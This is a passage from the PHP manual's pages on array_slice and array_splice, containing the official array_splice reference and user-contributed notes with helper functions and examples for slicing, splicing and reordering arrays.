            $tempValue = array_slice(
                $array,
                array_search($i,array_keys($array)),
                1,
                $preserveKeys
            );
            $temp[$i] = array_shift($tempValue);
            unset($array[$i]);
        }
    }
    $array = $keepRest ?
        ($prepend?
            $array+$temp
            :$temp+$array
        )
        : $temp;
}

/** exemple ** /
$a = array(
    'a'    =>    'a',
    'b'    =>    'b',
    'c'    =>    'c',
    'd'    =>    'd',
    'e'    =>    'e'
);
$order = array('c','b','a');

array_reorder($a,$order,TRUE);
echo '<pre>';
print_r($a);
echo '</pre>';
/** exemple end **/
?>
joel dot a dot villarreal at gmail dot com 20-Oct-2010 12:41
An implementation of array_slice that do not resets the cursor.

<?php
function get_from_array($arr, $start, $length)
{
    $sliced = array();
    foreach ($arr as $k => $v)
    {
        if ($start <= $k && $k <= $start + $length - 1)
        {
            $sliced[] = $v;
            if (count($sliced) == $length) break;
        }
    }
    return $sliced;
}
?>

Cheers,
Joel A. Villarreal Bertoldi
yuwas at ht dot cx 04-Apr-2010 03:54
By combining this with str_split() and implode(),slices can also be excerpted from strings with the following simple function:
<?php
function str_slice($string,$offset,$length=999,$preserve_keys=False){
  if( $length == 999 ){ $length = strlen($string)-$offset };
  $slice_arr = array_slice(str_split($string),$offset,$length,$preserve_keys);
  return implode($slice_arr);
};
?>

Perhaps there's a better way to preset $length.
jamie at jamiechong dot ca 19-Oct-2009 01:04
A flexible array_split function:

<?php
// split the given array into n number of pieces
function array_split($array, $pieces=2)
{
    if ($pieces < 2)
        return array($array);
    $newCount = ceil(count($array)/$pieces);
    $a = array_slice($array, 0, $newCount);
    $b = array_split(array_slice($array, $newCount), $pieces-1);
    return array_merge(array($a),$b);
}

// Examples:
$a = array(1,2,3,4,5,6,7,8,9,10);
array_split($a, 2);    // array(array(1,2,3,4,5), array(6,7,8,9,10))
array_split($a, 3);    // array(array(1,2,3,4), array(5,6,7), array(8,9,10))
array_split($a, 4);    // array(array(1,2,3), array(4,5,6), array(7,8), array(9,10))

?>
jamon at clearsightdesign dot com 11-Apr-2009 02:46
I was trying to find a good way to find the previous several and next several results from an array created in a MySQL query. I found that most MySQL solutions to this problem were complex. Here is a simple function that returns the previous and next rows from the array.

<?php

/*
** function array_surround by Jamon Holmgren of ClearSight Design
** Version 1.0 - 4/10/2009
** Please direct comments and questions to my first name at symbol clearsightdesign.com
**
** Returns an array with only the $before and $after number of results
** This is set to work best with MySQL data results
** Use this to find the rows immediately before and after a particular row, as many as you want
**
** Example usage:
**   $mysql_ar is an array of results from a MySQL query and the current id is $cur_id
**   We want to get the row before this one and five rows afterward
**
** $near_rows = array_surround($mysql_ar, "id", $cur_id, 1, 5)
**
**   Previous row is now $near_rows[-1]
**   Current row is now $near_rows[0]
**   Next row is $near_rows[1] ... etc
**   If there is no previous row, $near_rows[-1] will not be set...test for it with is_array($near_rows[-1])
**
*/
function array_surround($src_array, $field, $value, $before = 1, $after = 1) {
    if(is_array($src_array)) {
        // reset all the keys to 0 through whatever in case they aren't sequential
        $new_array = array_values($src_array);
        // now loop through and find the key in array that matches the criteria in $field and $value
        foreach($new_array as $k => $s) {
            if($s[$field] == $value) {
                // Found the one we wanted
                $ck = $k; // put the key in the $ck (current key)
                break;
            }
        }
        if(isset($ck)) { // Found it!
            $result_start = $ck - $before; // Set the start key
            $result_length = $before + 1 + $after; // Set the number of keys to return
            if($result_start < 0) { // Oops, start key is before first result
                $result_length = $result_length + $result_start; // Reduce the number of keys to return
                $result_start = 0; // Set the start key to the first result
            }
            $result_temp = array_slice($new_array, $result_start, $result_length); // Slice out the results we want
            // Now we have an array, but we want array[-$before] to array[$after] not 0 to whatever.
            foreach($result_temp as $rk => $rt) { // set all the keys to -$before to +$after
                $result[$result_start - $ck + $rk] = $rt;
            }
            return $result;
        } else { // didn't find it!
            return false;
        }
    } else { // They didn't send an array
        return false;
    }
}

?>

I hope you find this useful! I welcome constructive criticism or comments or of course praise ;) -- just e-mail me.

- Jamon Holmgren
Mr. P 14-Nov-2008 11:11
Note that offset is not the same thing as key. Offset always starts at 0, while keys might be any number.

So this:

<?php print_r(array_slice(array(0 => 0, 5 => 5, 13 => 13),1)); ?>

will result in this:
Array
(
    [0] => 5
    [1] => 13
)
s0i0m at dreamevilconcepts dot com 12-Sep-2008 04:53
Using the varname function referenced from the array_search page, submitted by dcez at land dot ru. I created a multi-dimensional array splice function. It's usage is like so:

$array['admin'] = array('blah1', 'blah2');
$array['voice'] = array('blah3', 'blah4');
array_cut('blah4', $array);

...Would strip blah4 from the array, no matter where the position of it was in the array ^^ Returning this...

Array ( [admin] => Array ( [0] => blah1 [1] => blah2 ) [voice] => Array ( [0] => blah3 ) )

Here is the code...

<?php

  function varname ($var)
  {
    // varname function by dcez at land dot ru
    return (isset($var)) ? array_search($var, $GLOBALS) : false;
  }

  function array_cut($needle, $haystack)
  {
    foreach ($haystack as $k => $v)
    {
      for ($i=0; $i<count($v); $i++)
        if ($v[$i] === $needle)
        {
          return array_splice($GLOBALS[varname($haystack)][$k], $i, 1);
          break; break;
        }
    }

?>

Check out dreamevilconcept's forum for more innovative creations!
ted.devito at 9gmail9 dot 99com 03-May-2008 06:21
based on worldclimb's arem(), here is a recursive array value removal tool that can work with multidimensional arrays.

function remove_from_array($array,$value){
    $clear = true;
    $holding=array();

    foreach($array as $k => $v){
        if (is_array($v)) {
            $holding [$k] = remove_from_array ($v, $value);
            }
        elseif ($value == $v) {
            $clear = false;
            }
        elseif($value != $v){
            $holding[$k]=$v; // removes an item by combing through the array in order and saving the good stuff
        }
    }
    if ($clear) return $holding; // only pass back the holding array if we didn't find the value
}
worldclimb at 99gmail99 dot com 21-Mar-2008 09:51
array_slice can be used to remove elements from an array but it's pretty simple to use a custom function.

One day array_remove() might become part of PHP and will likely be a reserved function name, hence the unobvious choice for this function's names.

<?
function arem($array,$value){
    $holding=array();
    foreach($array as $k => $v){
        if($value!=$v){
            $holding[$k]=$v;
        }
    }
    return $holding;
}

function akrem($array,$key){
    $holding=array();
    foreach($array as $k => $v){
        if($key!=$k){
            $holding[$k]=$v;
        }
    }
    return $holding;
}

$lunch = array('sandwich' => 'cheese', 'cookie'=>'oatmeal','drink' => 'tea','fruit' => 'apple');
echo '<pre>';
print_r($lunch);
$lunch=arem($lunch,'apple');
print_r($lunch);
$lunch=akrem($lunch,'sandwich');
print_r($lunch);
echo '</pre>';
?>

(remove 9's in email)
aexchecker at yahoo dot com 04-Oct-2007 05:39
<?php
/**
 * @desc
 * Combines two arrays by inserting one into the other at a given position then
 * returns the result.
 *
 * @since   2007/10/04
 * @version v0.7 2007/10/04 18:47:52
 * @author  AexChecker <AexChecker@yahoo.com>
 * @param   array $source
 * @param   array $destination
 * @param   int [optional] $offset
 * @param   int [optional] $length
 * @return  array
 */
function array_insert($source, $destination, $offset = NULL, $length = NULL) {
    if (!is_array($source) || empty($source)) {
        if (is_array($destination) && !empty($destination)) {
            return $destination;
        }
        return array();
    }
    if (is_null($offset)) {
        return array_merge($destination, $source);
    }
    $offset = var2int($offset);
    if (is_null($length)) {
        if ($offset === 0) {
            return array_merge($source, array_slice($destination, 1));
        }
        if ($offset === -1) {
            return array_merge(array_slice($destination, 0, -1), $source);
        }
        return array_merge(
            array_slice($destination, 0, $offset),
            $source,
            array_slice($destination, ++$offset)
        );
    }
    if ($offset === 0) {
        return array_merge($source, array_slice($destination, $length));
    }
    $destination_count = count($destination);
    $length = var2int($length);
    if ($offset > 0) {
        if ($destination_count - $offset < 1) {
            return array_merge($destination, $source);
        }
    } else{
        if (($t = $destination_count + $offset) < 1) {
            return array_merge($source, $destination);
        }
        $offset = $t;
    }
    if ($length > 0) {
        $length+= $offset;
    } elseif ($length < 0 && !($length * -1 < $destination_count)) {
        return $source;
    } else {
        $length = $offset;
    }
    return array_merge(
        array_slice($destination, 0, $offset),
        $source,
        array_slice($destination, $length)
    );
}
?>
phpnotasp at gmail dot com 16-Jul-2007 11:42
It should be noted that this function does NOT modify the original array. So if you need to array_pop() or array_shift() without modifying the original array, you can use array_slice().

<?php

$input = array('a', 'b', 'c');
$output = array_slice($input, 1);

print_r($output);
print_r($input);

/*
Array
(
    [0] => b
    [1] => c
)
Array
(
    [0] => a
    [1] => b
    [2] => c
)
*/
?>
cpa at NOSPAM dot conceptivator dot com 07-Jun-2007 02:15
'gportlock at gembiz dot co dot uk' has an error in his limitText function. It simply takes a text string, then cuts off the first X words and returns the rest of the string. I believe the intended use is to return only the first X words and cut off the rest.

The correct version should be (notice the inserted 0 offset):
<?php
function limitText( $text, $wordCount )
{
    $wordArray = explode(" ", $text);
    array_splice($wordArray, 0, $wordCount);
    return implode( " ", $wordArray );
}
?>
gportlock at gembiz dot co dot uk 24-May-2007 04:29
This function returns a text string that is limited by the word count. This funtion is particularly useful for paid advertising where you pay by the word.

function limitText( $text, $wordCount ){

        $wordArray = explode(" ", $text);
        array_splice($wordArray, $wordCount);
        return implode( " ", $wordArray );
}
14-Mar-2007 05:09
I noticed that some other people made supportive functions for maintaining numeric keys for PHP versions less than 5.0.2. So here is my version of it.

<?php

//Slice an array but keep numeric keys
function narray_slice($array, $offset, $length) {

    //Check if this version already supports it
    if (str_replace('.', '', PHP_VERSION) >= 502)
       return array_slice($array, $offset, $length, true);

    foreach ($array as $key => $value) {

        if ($a >= $offset && $a - $offset <= $length)
            $output_array[$key] = $value;
        $a++;

    }

    return $output_array;

}

?>
aflavio at gmail dot com 01-Mar-2007 10:43
/**
    * Remove a value from a array
    * @param string $val
    * @param array $arr
    * @return array $array_remval
    */
    function array_remval($val, &$arr)
    {
          $array_remval = $arr;
          for($x=0;$x<count($array_remval);$x++)
          {
              $i=array_search($val,$array_remval);
              if (is_numeric($i)) {
                  $array_temp  = array_slice($array_remval, 0, $i );
                $array_temp2 = array_slice($array_remval, $i+1, count($array_remval)-1 );
                $array_remval = array_merge($array_temp, $array_temp2);
              }
          }
          return $array_remval;
    }

$stack=Array('apple','banana','pear','apple', 'cherry', 'apple');
array_remval("apple", $stack);

//output: Array('banana','pear', 'cherry')
19-Dec-2006 06:10
The version check on "ps at b1g dot de" function fails on my copy of PHP.  My Version of PHP is "4.3.10-18", and it ends up checking 4310 <=> 502.
Since we are looking for a version over 4.1.0, we cas use version_compare.

<?php
    // PHP >= 5.0.2 is able to do this itself
    if(function_exists('version_compare') and version_compare(PHP_VERSION, '5.0.2') >= 0) {
      return array_slice($array, $offset, $length, true);
    }
?>
ps at b1g dot de 03-Nov-2006 11:44
The following function is the same as array_slice with preserve_keys=true, but it works with PHP versions < 5.0.2.
When PHP >= 5.0.2 is available, the function uses the faster PHP-own array_slice-function with preserve_keys=true, otherwise it uses its own  implementation.

<?php
/**
 * array_slice with preserve_keys for every php version
 *
 * @param array $array Input array
 * @param int $offset Start offset
 * @param int $length Length
 * @return array
 */
function array_slice_preserve_keys($array, $offset, $length = null)
{
    // PHP >= 5.0.2 is able to do this itself
    if((int)str_replace('.', '', phpversion()) >= 502)
        return(array_slice($array, $offset, $length, true));

    // prepare input variables
    $result = array();
    $i = 0;
    if($offset < 0)
        $offset = count($array) + $offset;
    if($length > 0)
        $endOffset = $offset + $length;
    else if($length < 0)
        $endOffset = count($array) + $length;
    else
        $endOffset = count($array);

    // collect elements
    foreach($array as $key=>$value)
    {
        if($i >= $offset && $i < $endOffset)
            $result[$key] = $value;
        $i++;
    }

    // return
    return($result);
}
?>

Good for backwards compatibility I hope somebody might find this useful.
david at bagnara dot org 19-Oct-2006 05:42
I was trying to pass an argument list through the constructors. I tried various things such as func_get_args(). My conclusion is to pass the args to the constructor as an array. Each constructor can remove the fields it wants and pass the array on.

Using the following prototype, each child class can have any number of parameters added to the beginning of the class constructor and the rest passed onto the parent.

If the default value is desired for an argument, just pass NULL.

This could possibly be better done with array_shift or the like.

<?php

class aChild extends aParent
{
    // TODO customise this list for this class
    public
        $a, $b, $c;

    function __construct( $args = array() )
    {
        //set up default values for this class
        // TODO customise this list for this class
        $default = array( "a-def", "b-def", "c-def" ) ;
        // now overwrite the default with non NULL args
        foreach( $args as $key=>$val )
        {
            // more args than needed?
            if( !isset( $default[$key] ) )
            {
                break;
            }
            // this arg not null
            if( isset( $val ) )
            {
                $default[$key] = $val ;
            }
        }
        // set this to the new values
        // TODO customise this list for this class
        list( $this->a, $this->b, $this->c ) = $default ;
        // take off the ones we used
        $args = array_slice( $args, count( $default ) ) ;
        parent::__construct( $args ) ;
    }
}

$x = new aChild( array( "aChild a", NULL, "aChild c", NULL, "aParent second", "aParent third" ) ) ;
?>
06-May-2006 09:21
If you specify the fourth argument (to not reassign the keys), then there appears to be no way to get the function to return all values to the end of the array. Assigning -0 or NULL or just putting two commas in a row won't return any results.
taylorbarstow at the google mail service 07-Apr-2006 11:01
Array slice function that works with associative arrays (keys):

function array_slice_assoc($array,$keys) {
    return array_intersect_key($array,array_flip($keys));
}
andreasblixt (at) msn (dot) com 06-Sep-2005 06:53
<?php
    // Combines two arrays by inserting one into the other at a given position then returns the result
    function array_insert($src, $dest, $pos) {
        if (!is_array($src) || !is_array($dest) || $pos <= 0) return FALSE;
        return array_merge(array_slice($dest, 0, $pos), $src, array_slice($dest, $pos));
    }
?>
ssb45 at cornell dot edu 28-Jul-2005 04:20
In reply to jenny at jennys dot info:

Here is a much easier way to find the $offset of a $key in an $array:

$offset = array_search($key, array_keys($array));
fanfatal at fanfatal dot pl 09-Jul-2005 12:09
Hmm ... i wrote an usefull function whitch is such like strpos but it works on arrays ;]

<?php
/*
 *    Find position of first occurrence of a array
 *
 *    @param array $haystack
 *    @param array $needle
 *    @return int
 *    @author FanFataL
 */
function array_pos($haystack, $needle) {
    $size = count($needle);
    $sizeh = count($haystack);
    if($size > $sizeh) return false;

    $scale = $sizeh - $size + 1;

    for($i = 0; $i < $scale; $i++)
        if($needle === array_slice($haystack, $i, $size))
            return $i;

    return false;
}

// Sample:
$a = array('aa','bb','cc','dd','ee');
$b = array('cc','dd');
$pos = array_pos($a, $b);
?>

Greatings ;-)
...
liz at matrixmailing dot com 06-Jun-2005 11:16
For those with PHP < 5.0.2, and have a number as your array key, to avoid having the key reset with array_slice, add a blank character to the beginning or end of the key.
<?

$array[" ".$key] = $value;

?>
bishop 08-Dec-2004 10:58
Sometimes you need to pick certain non-integer and/or non-sequential keys out of an array. Consider using the array_pick() implementation below to pull specific keys, in a specific order, out of a source array:

<?php

$a = array ('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4);
$b = array_pick($a, array ('d', 'b'));

// now:
// $a = array ('a' => 1, 'c' => '3');
// $b = array ('d' => 4, 'b' => '2');

function &array_pick(&$array, $keys)
{
    if (! is_array($array)) {
        trigger_error('First parameter must be an array', E_USER_ERROR);
        return false;
    }

    if (! (is_array($keys) || is_scalar($keys))) {
        trigger_error('Second parameter must be an array of keys or a scalar key', E_USER_ERROR);
        return false;
    }

    if (is_array($keys)) {
        // nothing to do
    } else if (is_scalar($keys)) {
        $keys = array ($keys);
    }

    $resultArray = array ();
    foreach ($keys as $key) {
        if (is_scalar($key)) {
            if (array_key_exists($key, $array)) {
                $resultArray[$key] = $array[$key];
                unset($array[$key]);
            }
        } else {
            trigger_error('Supplied key is not scalar', E_USER_ERROR);
            return false;
        }
    }

    return $resultArray;
}

?>
pies at sputnik dot pl 18-Sep-2004 06:29
My shot at Dams's array_slice_key() implementation:

function array_slice_key($array, $offset, $len=-1){

    if (!is_array($array))
        return FALSE;

    $length = $len >= 0? $len: count($array);
    $keys = array_slice(array_keys($array), $offset, $length);
    foreach($keys as $key) {
        $return[$key] = $array[$key];
    }

    return $return;
}
Samuele at norsam dot org 05-Apr-2004 06:44
Note that if $offset+$length>count($array) then resulting array will NOT be filled with empty elements at his end, so it is not sure that it will have exactly $length elements. Example:
<?php
$a=Array(7,32,11,24,65); // count($a) is 5
$b=array_slice($a,2,4);  // 2+4=6, and 6>count($a)
print_r($b);
?>
will return a 3-elements array:
  Array
  (
      [0] => 11
      [1] => 24
      [2] => 65
  )
23-Feb-2004 11:47
Use unset() to delete a associative array.

Ex:
<?php

$item['chaise'] = array ('qty' => 1,
                        'desc' => 'Chaise bercante 10"',
                        'avail' => 10);

$item['divan'] = array ('qty' => 1,
                        'desc' => 'Divan brun laitte"',
                        'avail' => 10);

if (isset($item['chaise'])) {
        ++$item['chaise']['qty'];
        }

unset($item['divan']);

foreach ($item as $s) {
        echo "<br />Commande " . $s['qty'] . " " . $s['desc'];
}

?>
jenny at jennys dot info 22-Feb-2004 07:12
Here's a function which returns the array offset based on the array key.  This is useful if you'd like to use array_slice to get all keys/values after key "foo".

<?
function array_offset($array, $offset_key) {
  $offset = 0;
  foreach($array as $key=>$val) {
    if($key == $offset_key)
      return $offset;
    $offset++;
  }
  return -1;
}

$array = array('foo'=>'foo', 'bar'=>'bar', 'bash'=>'bash', 'quux'=>'quux');
print_r($array);
// Prints the following:
// Array
// (
//     [foo] => foo
//     [bar] => bar
//     [bash] => bash
//     [quux] => quux
// )

$offset = array_offset($array,'bar');
// $offset now contains '1'
$new = array_slice($array,$offset+1);
print_r($new);
// Prints the following:
// Array
// (
//     [bash] => bash
//     [quux] => quux
// )
?>
webmaster_nospam at wavesport dot com 13-Nov-2002 01:48
This function may surprise you if you use arbitrary numeric values for keys, i.e.

<?php
//create an array
$ar = array('a'=>'apple', 'b'=>'banana', '42'=>'pear', 'd'=>'orange');

print_r($ar);
// print_r describes the array as:
// Array
// (
//    [a] => apple
//    [b] => banana
//    [42] => pear
//    [d] => orange
// )

//use array_slice() to extract the first three elements
$new_ar = array_slice($ar, 0, 3);

print_r($new_ar);
// print_r describes the new array as:
// Array
// (
//    [a] => apple
//    [b] => banana
//    [0] => pear
// )
?>

The value 'pear' has had its key reassigned from '42' to '0'.

When $ar is initially created the string '42' is automatically type-converted by array() into an integer.  array_slice() and array_splice() reassociate string keys from the passed array to their values in the returned array but numeric keys are reindexed starting with 0.
t dot oddy at ic dot ac dot uk 25-Apr-2002 03:47
[Editor's Note:
It is easier to do the same thing using array_values()
]
array_slice() can be used to "re-index" an array to start from key 0.  For example, unpack creates an array with keys starting from 1;

<?php
var_dump(unpack("C*","AB"));
?>

produces

<?php
array(2) {
  [1]=>
  int(65)
  [2]=>
  int(66)
}
?>

and

<?php
var_dump(array_slice(unpack("C*","AB"),0));
?>

give you

<?php
array(2) {
  [0]=>
  int(65)
  [1]=>
  int(66)
}
?>
developer at i-space dot org 03-Feb-2002 05:22
remember that array_slice returns an array with the current element. you must use array_slice($array, $index+1) if you want to get the next elements.
richardgere at jippii dot fi 27-Jan-2002 06:14
The same thing, written by a maladroit :)

<?php
function array_slice2( $array, $offset, $length = 0 )
{
  if( $offset < 0 )
    $offset = sizeof( $array ) + $offset;

  $length = ( !$length ? sizeof( $array ) : ( $length < 0 ? sizeof( $array ) - $length : $length + $offset ) );

  for( $i = $offset; $i < $length; $i++ )
    $tmp[] = $array[$i];

  return $tmp;
}
?>


Remove a portion of the array and replace it with something else

  • « array_slice
  • array_sum »
  • PHP Manual
  • Array Functions
  • Remove a portion of the array and replace it with something else

array_splice

(PHP 4, PHP 5)

array_splice — Remove a portion of the array and replace it with something else

Description

array array_splice ( array &$input , int $offset [, int $length [, mixed $replacement = array() ]] )

Removes the elements designated by offset and length from the input array, and replaces them with the elements of the replacement array, if supplied.

Note that numeric keys in input are not preserved.

Note: If replacement is not an array, it will be typecast to one (i.e. (array) $parameter). This may result in unexpected behavior when using an object or NULL replacement.

Parameters

input

The input array.

offset

If offset is positive then the start of removed portion is at that offset from the beginning of the input array. If offset is negative then it starts that far from the end of the input array.

length

If length is omitted, removes everything from offset to the end of the array. If length is specified and is positive, then that many elements will be removed. If length is specified and is negative then the end of the removed portion will be that many elements from the end of the array. Tip: to remove everything from offset to the end of the array when replacement is also specified, use count($input) for length.

replacement

If replacement array is specified, then the removed elements are replaced with elements from this array.

If offset and length are such that nothing is removed, then the elements from the replacement array are inserted in the place specified by the offset. Note that keys in replacement array are not preserved.

If replacement is just one element it is not necessary to put array() around it, unless the element is an array itself, an object or NULL.

Return Values

Returns the array consisting of the extracted elements.

Examples

Example #1 array_splice() examples

<?php
$input = array("red", "green", "blue", "yellow");
array_splice($input, 2);
// $input is now array("red", "green")

$input = array("red", "green", "blue", "yellow");
array_splice($input, 1, -1);
// $input is now array("red", "yellow")

$input = array("red", "green", "blue", "yellow");
array_splice($input, 1, count($input), "orange");
// $input is now array("red", "orange")

$input = array("red", "green", "blue", "yellow");
array_splice($input, -1, 1, array("black", "maroon"));
// $input is now array("red", "green",
//          "blue", "black", "maroon")

$input = array("red", "green", "blue", "yellow");
array_splice($input, 3, 0, "purple");
// $input is now array("red", "green",
//          "blue", "purple", "yellow");
?>

Example #2 array_splice() examples

The following statements change the values of $input the same way:

<?php
array_push($input, $x, $y);
array_splice($input, count($input), 0, array($x, $y));
array_pop($input);
array_splice($input, -1);
array_shift($input);
array_splice($input, 0, 1);
array_unshift($input, $x, $y);
array_splice($input, 0, 0, array($x, $y));
$input[$x] = $y; // for arrays where key equals offset
array_splice($input, $x, 1, $y);
?>

See Also

  • array_slice() - Extract a slice of the array
  • unset() - Unset a given variable
  • array_merge() - Merge one or more arrays

User Contributed Notes

Anonymous 11-Sep-2014 10:07
<?php
function array_slice2( $array, $offset, $length = 0 )
{
  if( $offset < 0 )
    $offset = sizeof( $array ) + $offset;

  $length = ( !$length ? sizeof( $array ) : ( $length < 0 ? sizeof( $array ) - $length : $length + $offset ) );

  for( $i = $offset; $i < $length; $i++ )
    $tmp[] = $array[$i];

  return $tmp;
}
?>
antrik 10-Jul-2014 04:20
Prompted by dire need, and inspired by some of the existing notes, I came up with this:

/* Like array_splice(), but preserves the key(s) of the replacement array. */
function array_splice_assoc(&$input, $offset, $length = 0, $replacement = array()) {
  $tail = array_splice($input, $offset);
  $extracted = array_splice($tail, 0, $length);
  $input += $replacement + $tail;
  return $extracted;
};

Apart from preserving the keys, it behaves just like the regular array_splice() for all cases I could think of.

So for example the regular array_splice()

$input = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' =>6);
print_r(array_splice($input, -4, 3, array('foo1' => 'bar', 'foo2' => 'baz')));
print_r($input);

will give:

Array
(
    [c] => 3
    [d] => 4
    [e] => 5
)
Array
(
    [a] => 1
    [b] => 2
    [0] => bar
    [1] => baz
    [f] => 6
)

But with array_splice_assoc()

$input = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' =>6);
print_r(array_splice_assoc($input, -4, 3, array('foo1' => 'bar', 'foo2' => 'baz')));
print_r($input);

we get:

Array
(
    [c] => 3
    [d] => 4
    [e] => 5
)
Array
(
    [a] => 1
    [b] => 2
    [foo1] => bar
    [foo2] => baz
    [f] => 6
)

A typical use case would be replacing an element identified by a particular key, which we could achieve with:

$input = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' =>6);
array_splice_assoc($input, array_search('d', array_keys($input)), 1, array('foo' => 'bar'));
print_r($input);

giving us:

Array
(
    [a] => 1
    [b] => 2
    [c] => 3
    [foo] => bar
    [e] => 5
    [f] => 6
)
thom 02-Jan-2014 11:31
Maybe it will help someone else: I was trying to strip off the last part of an array using this section, more or less as follows:

<?php array_splice($array, $offset); ?>

Now it could occur in my code that <?php $offset === 0 ?>, in which case the array is returned as-is and not, as you might expect, an empty array because everything is stripped off. Obviously it is not really useful anyway to "strip off everything", but I was reminded of that the hard way and this may spare someone some time, hopefully.
royanee at yahoo dot com 26-Jan-2013 02:03
When trying to splice an associative array into another, array_splice is missing two key ingredients:
  - a string key for identifying the offset
  - the ability to preserve keys in the replacement array

This is primarily useful when you want to replace an item in an array with another item, but want to maintain the ordering of the array without rebuilding the array one entry at a time.

<?php
function array_splice_assoc(&$input, $offset, $length, $replacement) {
        $replacement = (array) $replacement;
        $key_indices = array_flip(array_keys($input));
        if (isset($input[$offset]) && is_string($offset)) {
                $offset = $key_indices[$offset];
        }
        if (isset($input[$length]) && is_string($length)) {
                $length = $key_indices[$length] - $offset;
        }

        $input = array_slice($input, 0, $offset, TRUE)
                + $replacement
                + array_slice($input, $offset + $length, NULL, TRUE);
}

$fruit = array(
        'orange' => 'orange',
        'lemon' => 'yellow',
        'lime' => 'green',
        'grape' => 'purple',
        'cherry' => 'red',
);

// Replace lemon and lime with apple
array_splice_assoc($fruit, 'lemon', 'grape', array('apple' => 'red'));

// Replace cherry with strawberry
array_splice_assoc($fruit, 'cherry', 1, array('strawberry' => 'red'));
?>

Note: I have not tested this with negative offsets and lengths.
mrsohailkhan at gmail dot com 21-Oct-2011 09:34
array_splice, split an array into 2 arrays. The returned arrays is the 2nd argument actually and the used array e.g $input here contains the 1st argument of array, e.g

<?php
$input = array("red", "green", "blue", "yellow");
print_r(array_splice($input, 3)); // Array ( [0] => yellow )
print_r($input); //Array ( [0] => red [1] => green [2] => blue )
?>

if you want to replace any array value do simple like that,

first search the array index you want to replace

<?php $index = array_search('green', $input);// index = 1 ?>

and then use it as according to the definition

<?php
array_splice($input, $index, 1, array('mygreeen')); //Array ( [0] => red [1] => mygreeen [2] => blue [3] => yellow )
?>

so here green is replaced by mygreen.

here 1 in array_splice above represent the number of items to be replaced. so here start at index '1' and replaced only one item which is 'green'
news_yodpeirs at thoftware dot de 20-Jul-2011 05:20
Sometimes you may want to insert one array into another and just work on with the resulting array. array_splice() doesn't support this, as the resulting array isn't the returned value but the first argument, which is changed by reference.

Therefore you may use the following function, which inserts array $ins in array $src at position $pos. $rep can be used if $ins shouldn't be just inserted, but should replace some existing elements (the number of elements to be replaced is given in $rep).

<?php
function array_insert($src,$ins,$pos,$rep=0) {
  array_splice($src,$pos,$rep,$ins);
  return($src);
}
?>
charette dot s at gmail 21-Jul-2010 05:26
If you want to append null values wrap them in an array:

<?php

    $a = array('Hey', 'hey', 'my', 'my');
    array_splice($a, 1, 0, null);
    print_r($a);

?>
Array
(
    [0] => Hey
    [1] => hey
    [2] => my
    [3] => my
)

<?php

    $b = array('Hey', 'hey', 'my', 'my');
    array_splice($b, 1, 0, array(null));
    print_r($b);

?>
Array
(
    [0] => Hey
    [1] =>
    [2] => hey
    [3] => my
    [4] => my
)
news_yodpeirs at thoftware dot de 01-Apr-2010 10:32
Splicing with NULL as replacement may result in unexpected behavior too. Typecasting NULL into an array results in an empty array (as "(array)NULL" equals "array()"). That means, instead of creating an element with value NULL just no new element ist created (just as if there was no replacement specified).

If you want the splicing to create a new element with value NULL you have to use "array(NULL)" instead of NULL.

You should expect this if you read the explanation carefully, but just as objects are considered as a special case for replacement, NULL should be too.

The explanation of replacement better should read: "If replacement is just one element it is not necessary to put array() around it, unless the element is an array itself, an object or NULL."

And the note better should be: "If replacement is not an array, it will be typecast to one (i.e. (array) $parameter). This may result in unexpected behavior when using an object or NULL replacement."

jmtc
daniele centamore 02-Aug-2009 04:48
just useful functions to move an element using array_splice.

<?php

// info at danielecentamore dot com

// $input  (Array) - the array containing the element
// $index (int) - the index of the element you need to move

function moveUp($input,$index) {
      $new_array = $input;

       if((count($new_array)>$index) && ($index>0)){
                 array_splice($new_array, $index-1, 0, $input[$index]);
                 array_splice($new_array, $index+1, 1);
             }

       return $new_array;
}

function moveDown($input,$index) {
       $new_array = $input;

       if(count($new_array)>$index) {
                 array_splice($new_array, $index+2, 0, $input[$index]);
                 array_splice($new_array, $index, 1);
             }

       return $new_array;
 }

$input = array("red", "green", "blue", "yellow");

$newinput = moveUp($input, 2);
// $newinput is array("red", "blue", "green", "yellow")

$input = moveDown($newinput, 1);
// $input is array("red", "green", "blue", "yellow")

?>
strata_ranger at hotmail dot com 01-Jul-2009 08:53
Should you want a similar function for splicing strings together, here is a rough equivalent:

<?php
function str_splice($input, $offset, $length=null, $splice='')
{
  $input = (string)$input;
  $splice = (string)$splice;
  $count = strlen($input);

  // Offset handling (negative values measure from end of string)
  if ($offset<0) $offset = $count + $offset;

  // Length handling (positive values measure from $offset; negative, from end of string; omitted = end of string)
  if (is_null($length)) $length = $count;
  elseif ($length < 0)  $length = $count-$offset+$length;

  // Do the splice
  return substr($input, 0, $offset) . $splice . substr($input, $offset+$length);
}

$string = "The fox jumped over the lazy dog.";

// Outputs "The quick brown fox jumped over the lazy dog."
echo str_splice($string, 4, 0, "quick brown ");

?>

Obviously this is not for cases where all you need to do is a simple search-and-replace.
dead dot screamer at seznam dot cz 12-Feb-2009 02:28
I need <?php array_Splice()?> function, that use array keys instead of order (offset and length) because of associated arrays, and this is result:

<?php
/**
 *    first variation
 *
 *    $input is input array
 *    $start is index of slice begin
 *    $end is index of slice end, if this is null, $replacement will be inserted (in the same way as original array_Slice())
 *indexes of $replacement are preserved in both examples
 */
function array_KSplice1(&$input, $start, $end=null, $replacement=null)
{
    $keys=array_Keys($input);
    $values=array_Values($input);
    if($replacement!==null)
    {
        $replacement=(array)$replacement;
        $rKeys=array_Keys($replacement);
        $rValues=array_Values($replacement);
    }

    $start=array_Search($start,$keys,true);
    if($start===false)
        return false;
    if($end!==null)
    {
        $end=array_Search($end,$keys,true);
        // if $end not found, exit
        if($end===false)
            return false;
        // if $end is before $start, exit
        if($end<$start)
            return false;
        // index to length
        $end-=$start-1;
    }

    // optional arguments
    if($replacement!==null)
    {
        array_Splice($keys,$start,$end,$rKeys);
        array_Splice($values,$start,$end,$rValues);
    }
    else
    {
        array_Splice($keys,$start,$end);
        array_Splice($values,$start,$end);
    }

    $input=array_Combine($keys,$values);

    return $input;
}

/**
 *    second variation
 *
 *    $input is input array
 *    $start is index of slice begin
 *    $length is length of slice, what will be replaced, if is zero, $replacement will be inserted (in the same way as original array_Slice())
 */
function array_KSplice2(&$input, $start, $length=0, $replacement=null)
{
    $keys=array_Keys($input);
    $values=array_Values($input);
    if($replacement!==null)
    {
